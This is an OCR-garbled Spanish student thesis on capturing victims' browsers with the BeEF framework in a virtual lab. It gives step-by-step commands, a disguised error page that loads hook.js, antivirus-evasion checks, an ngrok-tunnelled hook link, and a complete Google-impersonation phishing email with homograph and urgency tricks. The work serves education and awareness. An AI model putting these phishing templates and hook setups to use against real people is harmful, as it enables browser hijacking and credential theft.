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Resumen del proyecto:

En este proyecto se trata de utilizar programas de pentesting y de seguridad
para comprender como es posible capturar el navegador de una victima a
través de phishing, considerando diferentes escenarios de red, a partir de
donde se podria escalar a otros ataques de diferentes tipos, como capturas de
credenciales, escaneo de la red de la victima o en el caso de que el equipo
atacado sea un servidor, lanzar ataques de denegacion de servicio para
inutilizarlo. Adicionalmente, se investiga el funcionamiento de estos payloads y
qué papel desempenia la ingenieria social si se tratara de un escenario real. El
objetivo de este proyecto es descubrir como hacen los ciberdelincuentes para
infectar equipos, tanto del punto de vista de software como desde el punto de
vista de como estos ciberdelincuentes utilizan la psicologia, el engafo y la
persuasion

Paraules clau:
Payload, hacking, browser, ingenieria social, malware

Abstract:

The intention of this project is using pentesting and security programs to
understand how it is possible to capture a victim's browser through phishing,
considering different network scenarios, from which it could be escalated to
other attacks of different types, such as credential captures, scanning the
victim's network or, in the case that a server is attacked, launching what is
known as a DDoS to disable its service. Additionally, the operation of these
payloads is investigated and what role social engineering plays if it were a real
scenario. The objective of this project is to discover how cybercriminals infect
computers, both from a software point of view and from the point of view of how
these cybercriminals use psychology, deception and persuasion.

Keywords:
Payload, hacking, botnet, social-engineering, malware
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1 Introduccion

Este proyecto consiste por un lado en el estudio del funcionamiento del archivo
que conecta a la victima con la maquina atacante, y la consideracion de los
diferentes ataques contenidos en el panel de “post explotacién, como por
ejemplo mantener la conexion a multitud de equipos como una “BotNet” para
posteriormente hacer que todas hagan miles de peticiones a un mismo servidor
para denegar el inutilizar el servicio ofrecido por este (DDoS).

De otro lado el segundo objetivo de este proyecto de investigacion es estudiar
como los ciberdelincuentes se ayudan de la psicologia y la ingenieria social
para conseguir distribuir estos payloads o para enganar y persuadir con la
finalidad de llevar a cabo sus intereses

1.1 Contexto

En la actualidad, cada dia se ataca a los dispositivos y se intentan estafar a
millones de personas. Por simple estadistica y por el uso de la psicologia en
estos ataques, muchas de estas personas acaban volviéndose victimas
haciendo asi que cibercriminales de todo el mundo puedan conseguir dinero
rapido o informacion personal de sus objetivos, muchas veces también
aprovechandose de la brecha digital y la poca formacién que se imparte al
respecto.

Un caso relativamente reciente que se podria mencionar seria la BotNet
“Mariposa”, descubierta y originada en Espafa en el afio 2008, “Mariposa” es
un keylogger, que monitoriza y graba en un registro la actividad de teclado de
los usuarios para capturar credenciales en sitios bancarios, credenciales con la
que realizarian envios masivos de spam y que a su vez, las victimas de este
spam, darian pie a “Mariposa” a tomar el control del equipo para su utilizacién
en ataques DDoS; otro factor que ayudd a su distribucion masiva, fue que
estaba disponible para alquilar.

Este malware en concreto se consiguié paliar gracias a las FCSE espafiolas
(Fuerzas y Cuerpos de Seguridad del Estado) junto con empresas privadas de
otros paises que ayudaron en su investigacion. El niumero de equipos
afectados aun se desconoce, se cree que entre 1.000.000 y 12.000.00 de
magquinas fueron infectadas

1.2 Justificacion

Con este proyecto, se busca cubrir la necesidad de explicar a los usuarios el
peligro que supone el simple hecho de estar en linea, ya que cada vez, internet
es mas frecuente y esencial en la vida cotidiana. Explicar como funcionan estos
archivos maliciosos a nivel de software para entender cémo operan en los
equipos informaticos y también como el usuario esta constantemente expuesto
a que intenten sustraer su informacién confidencial, como contrasefias,
numeros de tarjetas de crédito, datos bancarios y personales, mediante la
distribuciéon de malware y la ayuda de la ingenieria social para persuadirlos a
realizar acciones indeseadas, como la descarga de malware o el suministro de
informacion confidencial.



1.3 Objetivos

El objetivo principal de este trabajo de investigacion es comprender mejor la
forma en que los usuarios interactuan con el software malicioso y como pueden
ser enganados para descargarlo o instalarlo. La educacion del usuario es
crucial para prevenir la propagacion de malware y reducir el impacto que puede
tener en los sistemas informaticos y la privacidad de los usuarios. Por lo tanto,
una investigacién detallada sobre las técnicas de ingenieria social vy
funcionamiento del malware, puede ayudar a identificar las debilidades en la
educacion y concienciacion de los usuarios, asi como en los sistemas de
seguridad de los que se dispone. El estudio también puede brindar una mayor
comprension de los métodos de ingenieria social utilizados por los atacantes, lo
que puede contribuir a la concienciacién y a desarrollar mejores soluciones
para reducir el riesgo de ser una victima de estos.

1.3.1 Objetivo general

El objetivo general de este trabajo de investigacién es mejorar la
seguridad informatica a nivel usuario mediante la identificacion de
debilidades en la educacion y entendimiento de los usuarios sobre
los ataques a la seguridad existentes, asi como el estudio de los
métodos de ingenieria social utilizados por los atacantes. Esto
puede ser util para desarrollar mejores métodos para reducir el
riesgo de ataques de malware y proteger la privacidad y la
seguridad de los usuarios.

1.3.2 Objetivos especificos

- Aprendizaje detallado sobre el funcionamiento de payloads maliciosos
- Demostracioén del funcionamiento de malware

- Prueba de malware en entorno controlado

- Entendimiento de los diversos tipos de ataques

- Entendimiento de metodologias de ingenieria social

1.4 Estrategia y planificacion del proyecto

La estrategia a seguir en este proyecto consistira en el aprendizaje sobre
el uso de un programa ya existente, instalado desde un repositorio alojado
en GitHub. Una vez usado, entender el funcionamiento de la conexién
entre atacante y victima, establecida por este software, para mas tarde
explicar los diversos tipos de ataques que este contiene y ademas exponer
el papel de la ingenieria social en el proceso de distribucion de estos.

1.5 Metodologia de trabajo

La metodologia de trabajo que se ha escogido para este proyecto, es la
metodologia Scrum, la cual se basa en dividir el proyecto en partes mas
pequenas, comunmente llamadas “Sprints”, en las que el trabajo se va a
planificar, pero sera constantemente revisado y actualizado para conseguir
acabar con la mejor versién posible de cada una de las partes



1.6 Estudio econdmico y presupuestario

En este proyecto no ha habido costes econdmicos, ya que se disponia de los
ordenadores y la infraestructura de red para las pruebas y los softwares
especializados, casi en su totalidad, son gratuitos. En caso de desarrollar este
proyecto para una empresa, para concienciar a empleados o usuarios,
conllevaria unos costes que seran enumerados a continuacién

- Equipos informaticos basicos para realizar las pruebas
(en caso de no disponer de ellos) ~ 800€

- Software de generacion de malware: Gratuito

- Software de analisis: Gratuito

- Investigacion sobre malware ~15h 15€/h 225€

- Disefio grafico de documentacion con fin educativo ~ 200€

El gasto total del proyecto seria alrededor de 1.225€, aunque si se
ampliase supondria un coste mayor

2 Descripcion del proyecto
2.1 Prevision de tareas de investigaciéon

- Reuvision bibliografica de la seguridad informatica.

- Investigacion de técnicas de propagacion de malware y su impacto en
la seguridad informatica.

- Analisis de casos de estudio y ejemplos de distribucién de malware a
través de ingenieria social.

- Evaluacién de herramientas y metodologias de andlisis de malware.

- Investigacion de técnicas de proteccion y prevencion de malware.

- Andlisis de las medidas de seguridad y proteccion utilizadas por los
principales sistemas operativos.

- Identificacion de patrones y tendencias en la distribucion de malware a
través de ingenieria social.

- Comprensién del funcionamiento de los diferentes tipos de malware.

- Identificar los sistemas operativos y aplicaciones mas vulnerables a
ataques de malware.

- Investigar las técnicas de ingenieria social utilizadas en la distribucién
de malware y como pueden ser detectadas y prevenidas.

- Desarrollar estrategias y medidas de proteccion contra la distribucién de

malware a través de ingenieria social.



2.2 Tecnologias

2.2.1 Comparativa de las tecnologias valoradas

Software para controlar el Malware:

Para esta finalidad, se ha estado investigando sobre programas de
este tipo, pero finalmente se ha encontrado el software BeEF Project
(Browser Exploitation Framework)

Otra opcidn viable podria ser el uso de Metasploit, que al igual, tiene
infinidad de funcionalidades, estos dos programas se podrian utilizar
en conjunto dependiendo de cual sea el objetivo del PenTester o el
Hacker

Software para el analisis del Malware:

VirusTotal: Este es un servicio de analisis de malware en linea que
analiza archivos y URL con multiples motores antivirus conocidos y
herramientas de deteccién de malware, optimo para la utilizacion de
usuarios sin experiencia en informatica o ciberseguridad.

YARA: Esta herramienta es un lenguaje de reglas de deteccion de
malware de cddigo abierto desarrollada por VirusTotal que se utiliza
para leer patrones en los archivos maliciosos y asi descubrirlos con
anterioridad.

Cuckoo Sandbox: Esta herramienta proporciona un entorno virtual
donde se ejecuta el malware que se quiere analizar, para que este se
pueda estudiar en un entorno seguro, después, este software devuelve
informacion sobre el comportamiento del programa malicioso que se
le haya proporcionado

Servicio VirusTotal Cuckoo Sandbox Reglas YARA
Tipo de servicio En linea Local Local

Costo Gratis y de pago Gratis y de pago Gratis
Anadlisis de malware Si Si No

Anilisis de archivos Si Si Si

Analisis de URLs Si No No

Motores de analisis Mas de 70 motores antivirus No aplica No aplica

Informacién adicional

Proporciona informacién sobre la
deteccién de malware y enlaces a
informes de analisis

Proporciona informes
detallados sobre el
comportamiento de los
programas maliciosos

Permite a los investigadores de
seguridad escribir reglas
personalizadas para la
identificacién de patrones de
malware

Nivel de habilidad necesario

Bajo

Medio

Alto

Uso principal

Verificacion rapida de archivos
sospechosos

Analisis detallado de malware

Creacion de reglas
personalizadas para la
identificacion de malware
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2.2.2 Tecnologias escogidas
Software para la captura de la victima:

BeEF: Este programa, es un software destinado a pentesters,
investigadores y estudiantes, que proporciona una manera de
manipular el navegador de la victima. Que después se puede
monitorizar desde la maquina C&C (Command & Control), esta
destinado a ser utilizado en “Seguridad ofensiva” y siempre en
entornos controlados, aunque en las manos indicadas podria ser una
herramienta con la que se da todo hecho para que se lleven a cabo
tacticas de cibercrimen.

Se ha escogido esta tecnologia por recomendacién del excelente
profesor Oscar Torrente, ya que el programa de las mismas
caracteristicas utilizado el afio pasado no funcioné de forma correcta; y
porque es una herramienta que se podria usar con fines ilicitos, aparte
de por su simplicidad de uso.

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Ofiicial website: hitp./beeiproject. com/

Software para la ejecucién en entorno controlado:

VirtualBox: Con esta herramienta se consigue simular el ataque a
“victimas” virtuales alojadas en el mismo equipo, a través de la
virtualizacién de diferentes sistemas operativos, aprovechando que se
pueden configurar diversas topologias de red que imitan configuraciones
que podemos encontrar en escenarios reales. Mas adelante se profundiza
en el comprendimiento de este concepto.-

Se ha escogido esta tecnologia ya que a comparacion con Isard VDI, este
es mas laxo y mas sencillo de configurar a nivel de red

VirtualBox

1



Software para el analisis de archivos malicioso:

VirusTotal/ OPSWAT Meta Defender: Con estas dos herramientas web se
consigue contrastar archivos o links con multitud de motores de antivirus,
que nos devuelve informacion sobre si cada uno de los antivirus detecta
como malicioso o no, complementado con informacién sobre si otros
usuarios han reportado ese mismo archivo, reconociendolo por un hash
(numero identificativo)

Product Benefits

> ] VIRUSTOTAL

Scalability
eploy using
Autoscaling Group

Applications

aws

N—"

Advanced Malware
Threat Prevention Angyar nngocardia, corra 17e onc U1x be crtect maiwee ard oiws barachen,

srlomalicaly share Fem with the secefly comranily.

Data Loss
Prevention

Privacy FLE T SEARCH

[ < N < W < N < N <

2.3 Estructura del proyecto

En este proyecto se trabaja sobre la escenificacién de tipologias de red que se
asimilan a escenarios reales

Maquinareal —— Maquina victima

/

Estudio de las
técnicas de
ingenieria social
utilizadas en
escenarios reales
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2.4 Descripcion de los componentes

Para el desarrollo de la investigacion de este proyecto se usaran diversos
programas de codigo abierto, cada uno con un cometido diferente en el proceso
de estudio, mas adelante en esta memoria se profundizara mas en cada uno de
ellos

2.4.1 Software 1

BeEF(Browser Exploitation Framework): Esta herramienta descargada desde
los mismos repositorios de linux, permite secuestrar el navegador de la victima y
convertir nuestra maquina en el anfitrion C&C (Control and Command)

Utiliza: Javascript, Ruby gem Bundler, Python3
2.4.2 Software 2

Cuckoo SandBox: Con esta herramienta se pretendia estudiar el comportamiento
del payload, pero finalmente no se ha usado por que estaba obsoleto y con
herramientas web se podia conseguir el mismo resultado

2.4.3 Software 3

Meta Defender / Virus Total: El funcionamiento de estas dos herramientas web,
es contrastar con motores de busqueda de antivirus, cosa que nos ayuda a saber
como de sospechosos son los payloads generados

Utiliza: +50 Motores de antivirus
2.4.4 Software 4

VirtualBox/IsardVDI: Estos dos programas ofrecen la posibilidad de ejecutar
‘imagenes”, que son archivos que actuan como Sistemas Operativos individuales,
la diferencia es que Isard es una herramienta web que no gasta recursos de
nuestro ordenador, por el contrario VirtualBox es un programa que hay que instalar
en nuestro ordenador y que si gasta recursos de nuestro equipo

Utiliza: Virtualizacion de SO
3 Instalacion del software

3.1 Instalacion del servicio

El software que se va a investigar, esta alojado tanto en Github, como en los
propios repositorios de Linux

Es decir que para acceder a las funcionalidades de este servicio Unicamente
habria que descargarlo como cualquier otro programa de linux, a través de apt
(Advanced Packaging Tool) o a través de Git Clone

sudo apt install beef-xss

git clone https://qgithub.com/beefproject/beef.qit
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https://github.com/beefproject/beef.git

Después solo se tendra que ejecutar “sudo ./beef start” , que iniciara el servicio,
indicando los links a los que debemos apuntar, otra manera es iniciarlo a partir
del icono de programa BeEF start, que nos abre directamente la interfaz web
“Web gui”

Llegado este momento, se pide un usuario y contrasefia.

3.2 Panel de control de la maquina C2

El panel de control que se ofrece ahora, como maquina anfitriona de Control &
Command, consta de diversos apartados como los siguientes:

= C @ O D 127.0.01 8 o

Kali Linux g KaliTools ¢ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

# BeCF 0540 | Logout

Hooked Browsers
4 (] Online Browsers
415127.001
@5 % 7127001
1 Offline Browsers

Getting Started %\ Logs Zombies Current Browser

zeEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: hitp://beefproject.com/
Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have 1o "hook’ & browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here

Listado de navegadores “enganchados”: En este apartado, una vez se tienen uno o
varios bots infectados, aparecen listados, mostrando el sistema operativo y si se
encuentra activo o no.

Getting Started: Desde esta ventana, se nos explica informacion basica del software,
su web oficial, y también se nos ofrecen dos paginas webs, una basica y otra
avanzada, que podemos usar para nuestras primeras pruebas en localhost.

Logs: Aqui se nos devuelve informacion de las interacciones con el navegador de la
victima, este apartado se explicara en mas profundidad mas adelante.

4 Creacion y funcionamiento de phishing con payload

4.1 Montaje del HTML con payload

Una vez finalizada la configuracién inicial, se ha de usar una URL que apunta a
un archivo javascript llamado “hook.js”, pero se ha de indicar este archivo en el
interior de una etiqueta <script> en un html, no se puede enviar el archivo
directamente a la victima y pretender que funcione.

Por eso se ha de elaborar un html, ya incluyendo phishing, que ejecutara el
codigo es entonces cuando se enlazara con la maquina servidor (atacante).

Este archivo javascript dentro de <script>, se podria incluir en el header de
cualquier pagina web para que hiciese esta misma funcién, pero en este caso

14



se ha elaborado una pagina que asemeja un mensaje de error pero por detras
ejecuta el cdédigo js.

2 webpage.html *

GNU nano 7.

Google

y! This site is experiencing technical difficulties

)iting a few minutes and reloading
(Server not available)
#Le informo que uste fue hakiao jejejex

Resultado:

Sorry! This site is experiencing technical difficulties

Try waiting a few minutes and reloading

(Server not available)

*Le informo que uste fue hakiao jejeje®

Funcion: Hacer creer a la victima que la web no ha funcionado, o que si ha
funcionado, pero atrapar su navegador a través de javascript alojado en el
interior de etiquetas <script> de html.

4.2 Funcionamiento del payload javascript

Aprovechamiento de Vulnerabilidad XSS(Cross-site scripting):
o Requiere una vulnerabilidad XSS existente en un sitio web objetivo en
muchos casos, en paginas HTTP
o Las vulnerabilidades XSS ocurren cuando una aplicacion web permite
introducir cédigo que se interprete como (JavaScript) y se ejecute en el
navegador de los usuarios.
Inyeccion del Payload BeEF:
o El atacante inyecta un payload BeEF en la aplicacion web
aprovechando la vulnerabilidad XSS identificada.
o El payload es un cédigo JavaScript que establece una conexién entre el
navegador de la victima y el servidor BeEF.
Ejecucién del Payload BeEF:
o Cuando un usuario (victima) visita la pagina web comprometida con el
payload BeEF inyectado, este se ejecuta en el navegador de la victima.
o El payload actua como un gancho que establece un canal de
comunicacion entre el navegador de la victima y el servidor BeEF.
Conexion al Servidor BeEF:
o El navegador de la victima, ahora conectado con el payload BeEF, se
conecta de nuevo al servidor BeEF controlado por el atacante.
o Esta conexién se establece mediante HTTP o HTTPS.
Enganche del Navegador:
o El servidor BeEF tiene ahora control sobre el navegador enganchado.

15



o El atacante puede interactuar con el navegador de la victima en tiempo
real a través de la interfaz web de BeEF, realizando tareas como
ejecutar scripts adicionales, recopilar informacion sobre el navegador y
el sistema, y lanzar ataques adicionales.

6. Comando y Control:

o Lainterfaz web de BeEF actua como el centro de comando y control,
permitiendo al atacante gestionar y controlar multiples navegadores
enganchados simultaneamente.

o El atacante puede ejecutar varios modulos para realizar acciones
especificas basadas en las capacidades de BeEF.

4.3 Analisis de los medios del malware

Es interesante subir a VirusTotal los diferentes medios de este ataque para
que se contrasten con antivirus y ver como de oculto esta el codigo malicioso.

IMPORTANTE: Esto no quiere decir que el producto comercial tenga la misma
respuesta que la que aqui se muestra, ya que cada empresa elige una
configuracién diferente de su herramienta para que funcione dentro de
VirusTotal

Indicando la IP del HTML infectado:
Si indicamos a VirusTotal la IP de la web, ningtin antivirus de los que usa esta
aplicacion, es capaz de detectar el malware

© No security vendors flagged this URL as malicious C Reanalyze Q Search 2% Graph 4 API
hitp;//192.168.247.175/webpage.html LastAnalysisDate || @0y

192.168.247.175 amoment ago

Community
Score

DETECTION DETAILS. COMMUNITY

Join eur Community and enjoy additional community insights and crowdsourced detections, plus an AP key to automate ehecks.

Security vendors' analysis © Do you want to automate checks?

Abusix @ Clean Acronis © Clean
ADMINUSLabs © clean AlLabs (MONITORAPP) © Cclean
Alienvault © clean alphaMountain.ai © clean
AlphaSOC @ Clean Antiy-AVL @ Clean
Artists Against 419 @ clean benkow.cc ) clean
BitDefender @ Clean BlockList © clean

Blueliv © Clean Certego © Clean

Chong Lua Dag © clean CINS Army © clean

Subiendo el “anzuelo” JavaScript:

Al subir el archivo “hook.js” a la aplicacién, algunos antivirus de esta si lo
analizan como malicioso, con esta herramienta es interesante ver que marcas
lo detectan y cuales no

Como se menciona en este documento, VirusTotal dispone de 63 motores de
busqueda de virus, de los que solo 14 califican este archivo como malicioso,
asi que por comodidad, se elabora esta tabla con algunos de los motores con
mas renombre.
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(@ 14/63 security vendors and no sandboxes flagged this file as malicious

63
|d449ca9690ac65a0270d2ac 5533130056 1c0e22824d243a57cef29df38d5alcT
hook js
kkkkkkk ity ascript
Scol
DETECTION DETAILS BEHAVIOR ) COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plusan API key to automate checks.

Popular threat label © ha

Security vendors' analysis

cktool beef/beefhook Threat categories  hackisol

0]

AlYac @ Generic.Hacktool.BeEF.1.DE2EBF48 Arcabit
BitDefender @ Generic.Hacktool.BeEF.1.DE2EBF48 Emsisoft
eScan (D Generic.Hacktool BeEF.1.DE2EBF48 GData
Google () Detected MAX
Skyhigh (SWG) (@ BehavesLike.JS Facelikerhm Sophos
Trellix (FireEye) ® Generic.Hacktool BeEF.1.DE2EBF48 TrendMicro
TrendMicro-HouseCall ® HackTool.JS.BeefHook.SM VIPRE

Family labels

C Reanalyze = Similarv  More v/
Size Last Modification Date
580.06 KB amoment ago Js
beof  becfhook

Do you want to automate checks?
(D Generic.Hacktool.BeEF.1.DE2EBF48

(D Generic.Hacktool BeEF.L.DE2EBF43 (B)

(D Generic.Hacktool.BeEF.1.DE2EBF48

( Malware (ai Score=89)

(@ ATK/ISHook-A
(@ HackTool.Js.BefHook.SM

(@ Generic.Hacktool.BeEF.1. DE2EBF48

Marcas populares de antivirus que Sl
lo detectan

Marcas populares de antivirus que

NO lo detectan

BitDefender, eScan, Google, ArcaBit,
Emsisoft, Sophos, etc...

Avast, Kaspersky, MalwareBytes,
Microsoft, ClamAV, Yandex, etc...

Del otro lado, en OPSWAT MetaDefender, se nos indica que 4 motores de AV

lo detectan

OPSWAT.

MetaDefender Cloud

(1 Overview hook.js
</ Static Analysis
Multiscanning (3
Deep COR Threat name: Tool/Hacktool!75CmjmpF

Scan History [

% Community Scan History

Threats detected
/21
ENGINES 1

This file has been scanned 2
times

. =

English ~ SignIn

Cast your vote on this file: @

5. Liberacidon del malware y uso de la ingenieria social

5.1 Envio del “anzuelo” (hook.js)

Licensing

o

@ o

Una vez completada la elaboraciéon del HTML del punto 4.1, este se tiene que

hacer visible para la victima, esto se hace iniciando un servicio Apache2 y

enviado una URL a la victima.
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Este HTML que hemos elaborado no sera visible para todo Internet, para eso
se necesitaria un hosting, en cambio lo que se hace es colocarlo en un servidor
web local y que la victima acceda a este a través de nuestra IP, con un link, es
aqui donde la ingenieria social tiene un papel importante.

5.2 Uso de Gmail con ingenieria social

En este punto es donde se implementan las técnicas de psicologia e ingenieria
social estudiadas, este link podria ser liberado a través de diferentes medios,
como SMS, botdn en una web, entre otros...

En este caso se cred una cuenta de correo electronico y se redacté el gmail
siguiente, intentado que todo pareciese legitimo.

La cuenta de correo electronico
En la cuenta de correo electrénico se usaron varias “trampas” para
intentar hacer creible

Google Team <thornas.rmicrosoft team@gmail.com:=
parami -

- Nombre de la cuenta: Google Team (para hacer pensar que proviene
del equipo de Google)

- Direccion de correo:

“Thomas” (para hacer parecer que proviene de un administrador de
Google), pero usando la técnica “typo-squatting” con los caracteres

“r + n” para que si no se presta atencién parezca una “m”

También usada en “rnictrosoft”, pero hubo un error de escritura

El gmail enviado a la victima

Es aqui donde se encuentra el grueso de la ingenieria social utilizada,
usando una referencia de un phishing real simulando a Google, se
redacto este mail, las técnicas empleadas fueron las siguientes:

Google Team sthornas.rmicrosoftteam@gmail.com> 14:90 (hace Ominutos) ¢ @ &
parami =

Go gle

Alerts

Su cuenta de Google ha sido desactivada
Estimado cliente/a

La cuenta de Google a la que llega este correo esta deshabilitada, parece que ha tenido inicios de sesion irregulares y/o ha violado los términes y condicienes de Google

Mas informacién
Entendemos gue su cuenta de Google es importante para usted, si cree que esto es un error clique aqui

Para reactivarla tendra que seguir los pasos marcados a continuacién, de lo contrario, debe saber que las cuentas desactivadas terminan siendo eliminadas en un plazo de 72h con todo su contenide (emails, contactos, fotos y
demas datos almacenados en la nube).

» Por favor haga click en el enlace siguiente
« Gonfirme su informacién y en unos instantes su cuenta seréa reactivada
e https:/igoogle.accounts.com

Por favor no responda directamente a este mensaje de correo electronico generado automaticamente
Atentamente
Google Team Espafia

Si no quiere seguir recibiendo mas comunicaciones a esta cuenta, clique aqui

Google Espafia, Carrer Victor Hugo S/N, Santa Coloma de Gramenet



A B
A B
K I
K L

X
X Cc

Respeto a la autoridad: Al parecer que proviene de Google, si la victima no
presta atencion, ya estara predispuesta a creer lo que contenga el mensaje.

Scareware: Esto se podria considerar como un ataque de Scareware ya que
se infunde miedo a la victima a partir de un caso ficticio.

Confianza: Al usar expresiones como “Estimado cliente/a” puede generar una
falsa sensacion de confianza en la victima

Limitacion temporal/Urgencia: Se le dan un margen a la victima con la
amenaza de que si no lo hace antes de 72h su cuenta sera eliminada

Voluntad de ayudar: Con expresiones como “Entendemos que su cuenta es
importante para usted”, se da a pensar subliminalmente a la victima que este
mail es legitimo y sin malas intenciones

Homografos: En el apartado de los pasos, se usaron caracteres parecidos a
otros y cirilicos para simular caracteres de nuestro alfabeto

« hitps-//google.accounts.com

g = . Se uso la “i” mayuscula para simular la letra “L”
BL|Q|E|E X3 B H
Ve D|EIE|Z|Z 1| . .
= Se uso la O y la A, que en cirilico son iguales al
?j Ihf OO E ; g $ U 'fj:' latin, el equivalente a la P, que si no prestamos
| | atencion podria parecer una “n” y por ultimo el
d oI B Bl B D IO A gquivalente ala S, que es idéntico a nuestra “c”
C|S |SC(SC Y Y EWU|JA

Estas técnicas serian de mucha utilidad en caso de hacer un DNS Spoofing y
simular que llevamos a la victima a “www.facebook.com” pero en lugar de la
URL oficial, usar estos caracteres y llevar a la victima a una web idéntica a
facebook pero de nuestro dominio.

Este tipo de practicas ya han sido capadas por parte de los navegadores, y ya
no es posible usar dominios que combinen caracteres de la tabla ascii estandar
con caracteres en cirilico

Links

De los 5 links presentes en el mail, independientemente de en cual entre la
victima, todos redirigen a la URL de nuestro HTML con el “anzuelo”, esto es
posible ya que en gmail y otros, se pueden colocar links en palabras, como por
ejemplo dirigir a la wikipedia aqui.
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http://www.notfacebook.com
https://es.wikipedia.org/wiki/Phishing

5.4 Escenarios de trabajo escogidos

Por problemas que se han ido encontrando en el desarrollo de la infeccion,
finalmente el escenario escogido es el siguiente:

5.4.1 Configuracién de red 1

En este escenario se simula el ataque de una victima que
se encuentra en nuestra misma red, utilizando una
maquina virtual con adaptador puente que obtienen una IP
de la misma red en la que se encuentra la maquina real.

Ejemplo: Atacar a un equipo que esta en una misma red WiFi
publica que el atacante (ej: Cafeteria, Aeropuerto, etc...).

VIRTUAL BOX
KALI LINUX

5.4.2 Configuracion de red 2

En este escenario se simula el ataque de una victima que
se encuentra en una red remota a través de Internet, ya
sea una red privada o publica (ya que no se necesita saber
la IP de la victima), utilizando un servidor online como
NGROK, que hace que se pueda acceder a nuestro equipo
desde el exterior.

Ejemplo: Atacar a un equipo que esta en una red remota a la que
el atacante no tiene acceso (ej: Ataque
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transnacional/transcontinental).

Red privada atacante

VIRTUAL BOX
KALI LINUX

A
""""""""""""""""""""""""" - NGROK
SERVERS

Red victima

E p= — :

(A )
5.4.3 Configuracion de red 3

En este escenario de red se simula como trabajaria el
ataque a una victima que se encuentra en una red remota
a través de Internet. pero en este caso haciendo uso de un
router y usando una DNAT, cuya funcion basica es que la
victima pueda llamar a nuestro equipo pero dirigiéndose a
la IP publica del router, y este redirigiendo el trafico al
puerto homologo en nuestro equipo pasandolo entre sus
dos tarjetas de red, y lo mismo en un SNAT para que el
trafico saliente salga con una IP publica puesta por el
router

Ejemplo: Atacar a un equipo que esta en una red remota a la que
el atacante no tiene acceso (ej: Ataque transnacional/
transcontinental).

VIRTUAL BOX
KALI LINUX VIRTUAL BOX

VyOS ROUTER

gl \=

\ ADAPTADOR
PUENTE

(— ]

RED INTERNA REQ INTERNA

/
/
Red victima
——

Red privada atacante
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6. Realizacién del ataque en red local (LAN)

En este escenario se trabaja dentro de la red local, como se explica en el
anterior punto 5.4.1, los pasos a seguir para poder realizar este ataque, son los
siguientes:

-Entrar al directorio de la herramienta y inciar el servicio:
cd /usr/share/beef- -XSS — sudo /beef start
xunnlm on network F 19 L

Hook URL: https

UI URL: https: //:

-Iniciar servidor web
Obviamente nuestra web no se va a alojar en un hosting legitimo asi
que la tenemos que alojar en nuestra maquina y que se acceda con un
link
sudo pyhton2 -m SimpleHTTPServer 80

-Comprobar que el html malicioso indica nuestra IP
Una vez ambos servicios estan activos, se debe indicar nuestra
direccion IP en el html que se enviara, para que la victima preceda a lo
que se conoce como “llamada a casa’.

echnical difficulties

e: BEEFHDOK

-Enviar link a la victima
Por ultimo, es necesario que se envie el link a nuestra pagina, alojada
en nuestro servidor web, esto se puede hacer desde infinidad de
medios; redirigido desde una web legitima, a través de DNS Spoofing,
desde un SMS,etc...
En este caso y como ya se ha comentado, desde un mail.
En cualquiera de los casos seria optimo el uso de la ingenieria social
para maximizar el numero de victimas si de un caso real se tratase.
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Editar enlace X

g

Texto para mostrar: | Este es un link muy fiable

Enlezar con: ;A qué URL debe ir este enlace?
f (@ Direccion web http:/192.168.246.212/webpage.htm|
p pag
H Direocion de Probar este enlace
correo

] iNo sabes muy bien qué poner en el cuadre? En primer lugar, busca la pagina

H Cancelar

7. Realizaciéon del ataque a red remota con NGROK (WAN)

En este escenario se trabaja a través de Internet usando servidores de
NGROK, como se explica en el anterior punto 5.4.2, los pasos a seguir para
poder realizar este ataque, son los siguientes:

-Iniciar el servicio de NGROK para tener las IP
/Downloads ./ngrok start —all

nections

-Modificar la configuracién de BeEF para indicar nuestra nueva IP local y asi

poder acceder a la pantalla de control (linea host:)
/usr/share/beef-xss/config.yaml para indicar la direccion dada por Ngrok
correspondiente al puerto 3000
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GNU nano 7.2 /usr/share/beef-xss/config.yaml *

-Comprobar que el html malicioso indica nuestra IP
Una vez ambos programas estan activos, se debe indicar nuestra nueva
direccién IP en el html que se enviara, para que la victima preceda a lo
que se conoce como “llamada a casa”.

] ] LNErok-tr .app| 4]
l>Sorry! This site is experiencing technical difficulties

-Ejecutar el script BeefOverWan.py para iniciar BeEF y enlazarlo con NGROK
indicando las dos nuevas IP’s, la del puerto 80 va a la victima, y la del puesto
3000 es la que usamos nosotros para controlar BeEF

sudo python BeeFOverWan.py

kali@kali: ~/BeeF-Over-Wan
File Actions Edit View Help
er If Prompted ..
= N /A
— [ | AN A SN
| [ B (AR AV Vv /
4 i1l vy /1 NoAa S/
\, PNV | v N/

ng to Victim]: I

stormshadow@7
F Link ing icti free.app

121.ngrok-free.app

[+] Access The BeeF Control Panel Using : http -79-117-174-121.ngrok-free.app/ui/panel

[+] Hooked Link To Send to Victim : http://a224-79-117-174-121.ngrok-free.app/beef.html
[z]

Note : I know few of th
ed B and stuf

s to your Connect_to Ad rith Port 8@

TO Image URL : http://60ce-79-117-174-121.ngrok-free.app:80/adobe/flash_update.png

Happy Hacking !!!
Have Problem or Tip ? Contact : https://github.com/stormshadowd?7
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-Enviar link a la victima
Por ultimo, es necesario que se envie el link a nuestra pagina, alojada
en nuestro servidor web, esto se puede hacer desde infinidad de
medios; redirigido desde una web legitima, a través de DNS Spoofing,
desde un SMS,etc...
En este caso y como ya se ha comentado, desde un mail.
En cualquiera de los casos seria 6ptimo el uso de la ingenieria social
para maximizar el nUmero de victimas si de un caso real se tratase.

Editar enlace X

Texto para mostrar: | Este link es extremadamente fiable

Enlazar con: ¢A qué URL debe ir este enlace?
@ Direccién web http:/fa224-79-117-174-121.ngrok-free.app/webpage.html
Direccién de

Probar este enlace
correo

iNo sabes muy bien qué poner en el cuadro? En primer lugar, busca la pagin

de la web a la que quieres vincular (puede ser util un motor de busqueda). A

continuacién, copia la direccion web del ¢

direcciones de tu "I-:"."C!:]'ddﬁf ¥ pegala en el cuadro ae arriba

Cancelar

FInalmente este tipo de ataque no funciono debido al problema mencionado en
el punto 11.3

8. Realizacion del ataque a red remota con Router VyOS (WAN)

En este escenario se trabaja a través de Internet usando una imagen de un
router VyOS que configuramos a nuestro gusto, con redireccién de puertos, y
sus tarjetas de red como se explica en el anterior punto 5.4.3, los pasos a
seguir para poder realizar este ataque, son los siguientes:

-Configurar el router VyOS
